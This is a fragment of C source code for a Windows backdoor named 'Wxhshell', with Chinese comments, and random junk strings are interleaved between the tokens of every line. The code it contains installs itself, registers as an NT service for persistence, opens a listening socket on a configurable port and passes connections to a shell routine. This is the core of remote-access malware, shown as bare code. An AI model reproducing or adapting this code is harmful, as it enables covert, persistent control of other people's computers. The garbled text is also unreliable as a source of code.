L?;FY)_ %8)W0WMe if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D);'pKl m-V02's CloseHandle(hProcess); .5> 20\b2 Nf9fb? if(strstr(procName,"services")) return 1; // 以服务启动 +m,!e*g k_GP>b\"k return 0; // 注册表启动 YCy2 2@C } PoShQR< J?n<ydZSH // 主模块 Zt@Z=r:& int StartWxhshell(LPSTR lpCmdLine) Gzt=u"FV { ;\y; SOCKET wsl; b!$ }ma;B BOOL val=TRUE; BF8"rq}r0 int port=0; X6RQqen3: struct sockaddr_in door; Uh|>Skic4 GZ}/leR if(wscfg.ws_autoins) Install();
BRbV7&
ohc1 ~?3b port=atoi(lpCmdLine); Eff\Aq{ F6S~$< if(port<=0) port=wscfg.ws_port; 4B-yTyO r;iV$Rq! WSADATA data; *(GZ^QH. if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8v
yG*UK {UH9i'y:t if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Di=9mHC setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); beZ(o?uK door.sin_family = AF_INET; UQd6/mD`e door.sin_addr.s_addr = inet_addr("127.0.0.1"); O.k\]' door.sin_port = htons(port); zuL7%qyv 0y%L-:/c| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *]s&8/Gmb closesocket(wsl); ; !$m1 return 1; dEp/dd~(& } Jm(ixekp =qoRS0Qa if(listen(wsl,2) == INVALID_SOCKET) { 2H[)1|]l closesocket(wsl); ~U}Mv{y return 1; noA-) } .Gb+\E{M Wxhshell(wsl); *j*Du+ WSACleanup(); 0jB X5 +nZRi3yu= return 0; iRV;Fks &1)xoZ'\ } i(HByI h(xP_Svj> // 以NT服务方式启动 IlLn4Iw VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oEzDMImJ5 { e ^e$mtI DWORD status = 0; MV+i{] DWORD specificError = 0xfffffff; 3;$bS<> PDw{R]V+ serviceStatus.dwServiceType = SERVICE_WIN32; BSXdvI1y serviceStatus.dwCurrentState = SERVICE_START_PENDING; +lp{#1q0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~v:#zU serviceStatus.dwWin32ExitCode = 0; {^&@gkYY serviceStatus.dwServiceSpecificExitCode = 0; aIvBY78o serviceStatus.dwCheckPoint = 0; )teFS% serviceStatus.dwWaitHint = 0; %my T!(
4QRh[ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ER|!KtCSM if (hServiceStatusHandle==0) return; RR>G]#k N&;\PfG status = GetLastError(); JmWR{du if (status!=NO_ERROR) #q4*]qGHm { =B5E0x serviceStatus.dwCurrentState = SERVICE_STOPPED; w@N{@tG serviceStatus.dwCheckPoint = 0; fwmLJ5o
N serviceStatus.dwWaitHint = 0; 9[>Lp9l' serviceStatus.dwWin32ExitCode = status; Xt(!
a serviceStatus.dwServiceSpecificExitCode = specificError; ySruAkw% SetServiceStatus(hServiceStatusHandle, &serviceStatus); I}:L]H{E return; %{ ~>n" } INLf# N -qn[HXq serviceStatus.dwCurrentState = SERVICE_RUNNING; QTh0SL serviceStatus.dwCheckPoint = 0; ;?im(9h"v! serviceStatus.dwWaitHint = 0; aR(E7mXQ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &d
3HB=x } &|z544 ag]*DsBt // 处理NT服务事件,比如:启动、停止 \8_V(lU
VOID WINAPI NTServiceHandler(DWORD fdwControl) h=f6~5l5 { _O52ai><b switch(fdwControl) oMTY)`me { Ve:&'~F2 s case SERVICE_CONTROL_STOP: |(%AM*n serviceStatus.dwWin32ExitCode = 0; Z% Z"VoxH serviceStatus.dwCurrentState = SERVICE_STOPPED; ggCr- serviceStatus.dwCheckPoint = 0; T <A serviceStatus.dwWaitHint = 0; ^_w*XV { 4]"w b5% SetServiceStatus(hServiceStatusHandle, &serviceStatus); `!kL1oUYE } 7x+=7,BZd return; FuMq|S case SERVICE_CONTROL_PAUSE: r
}
7:#XQ serviceStatus.dwCurrentState = SERVICE_PAUSED; ib Ue*Z["1 break; F^TAd case SERVICE_CONTROL_CONTINUE: D%GGu"@GO serviceStatus.dwCurrentState = SERVICE_RUNNING; ~j}J<4&OvC break; 8dV=1O$/ case SERVICE_CONTROL_INTERROGATE: GEi
MmH? break; vU9~[I`^p }; }wkaQQh SetServiceStatus(hServiceStatusHandle, &serviceStatus); -,@bA @& } =|#w.(3y -y < |